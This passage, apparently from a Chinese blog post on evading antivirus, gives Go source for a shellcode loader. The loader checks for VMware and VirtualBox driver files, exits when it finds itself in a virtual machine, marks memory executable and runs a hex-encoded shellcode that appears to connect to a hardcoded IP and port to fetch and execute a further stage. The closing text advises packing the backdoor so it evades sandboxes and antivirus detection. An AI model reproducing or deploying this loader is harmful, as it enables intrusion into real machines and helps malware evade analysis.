fack("C:\\windows\\System32\\Drivers\\vmhgfs.dll")
fack("C:\\windows\\System32\\Drivers\\vmGuestLib.dll")
fack("C:\\windows\\System32\\Drivers\\VBoxMouse.sys")
fack("C:\\windows\\System32\\Drivers\\VBoxGuest.sys")
fack("C:\\windows\\System32\\Drivers\\VBoxSF.sys")
fack("C:\\windows\\System32\\Drivers\\VBoxVideo.sys")
fack("C:\\windows\\System32\\vboxdisp.dll")
fack("C:\\windows\\System32\\vboxhook.dll")
fack("C:\\windows\\System32\\vboxoglerrorspu.dll")
fack("C:\\windows\\System32\\vboxoglpassthroughspu.dll")
fack("C:\\windows\\System32\\vboxservice.exe")
fack("C:\\windows\\System32\\vboxtray.exe")
fack("C:\\windows\\System32\\VBoxControl.exe")
}
var VirtualAlloc = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")
func aaa(a unsafe.Pointer, b uintptr, c uint32, d unsafe.Pointer) bool {
ret, _, _ := VirtualAlloc.Call(
uintptr(a),
uintptr(b),
uintptr(c),
uintptr(d))
return ret > 0
}
func Run(sc []byte) {
fly := func() {}
var xx uint32
if !aaa(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&fly))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&xx)) {
}
**(**uintptr)(unsafe.Pointer(&fly)) = *(*uintptr)(unsafe.Pointer(&sc))
var yy uint32
aaa(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&yy))
fly()
}
func ScFromHex(scHex string) []byte {
var charcode []byte
charcode, _ = hex.DecodeString(string(scHex))
return charcode
}
func main() {
check_language()
check_file()
check, _ := check_virtual()
if check == true {
os.Exit(1)
}
check_sandbox()
sccode := ScFromHex("fc4883e4f0e8cc000000415141505251564831d265488b5260488b5218488b5220488b72504d31c9480fb74a4a4831c0ac3c617c022c2041c1c90d4101c1e2ed52488b522041518b423c4801d0668178180b020f85720000008b80880000004885c074674801d0448b40208b48184901d050e3564d31c948ffc9418b34884801d64831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e94bffffff5d49be7773325f3332000041564989e64881eca00100004989e549bc02001a202f5eec7541544989e44c89f141ba4c772607ffd54c89ea68010100005941ba29806b00ffd56a0a415e50504d31c94d31c048ffc04889c248ffc04889c141baea0fdfe0ffd54889c76a1041584c89e24889f941ba99a57461ffd585c0740a49ffce75e5e8930000004883ec104889e24d31c96a0441584889f941ba02d9c85fffd583f8007e554883c4205e89f66a404159680010000041584889f24831c941ba58a453e5ffd54889c34989c74d31c94989f04889da4889f941ba02d9c85fffd583f8007d2858415759680040000041586a005a41ba0b2f0f30ffd5575941ba756e4d61ffd549ffcee93cffffff4801c34829c64885f675b441ffe7586a005949c7c2f0b5a256ffd5")
Run(sccode)
}
项目保护
我们可以将后门通过一些工具进行项目保护
比如使用Safengine
在虚拟机中无法执行,也不会被杀
文笔垃圾,措辞轻浮,内容浅显,操作生疏,还请各位大佬多多指导
标签:x68,免杀,0x00,xff,x8b,木马,x00,shellcode 来源: https://www.cnblogs.com/rayob1/p/16647619.html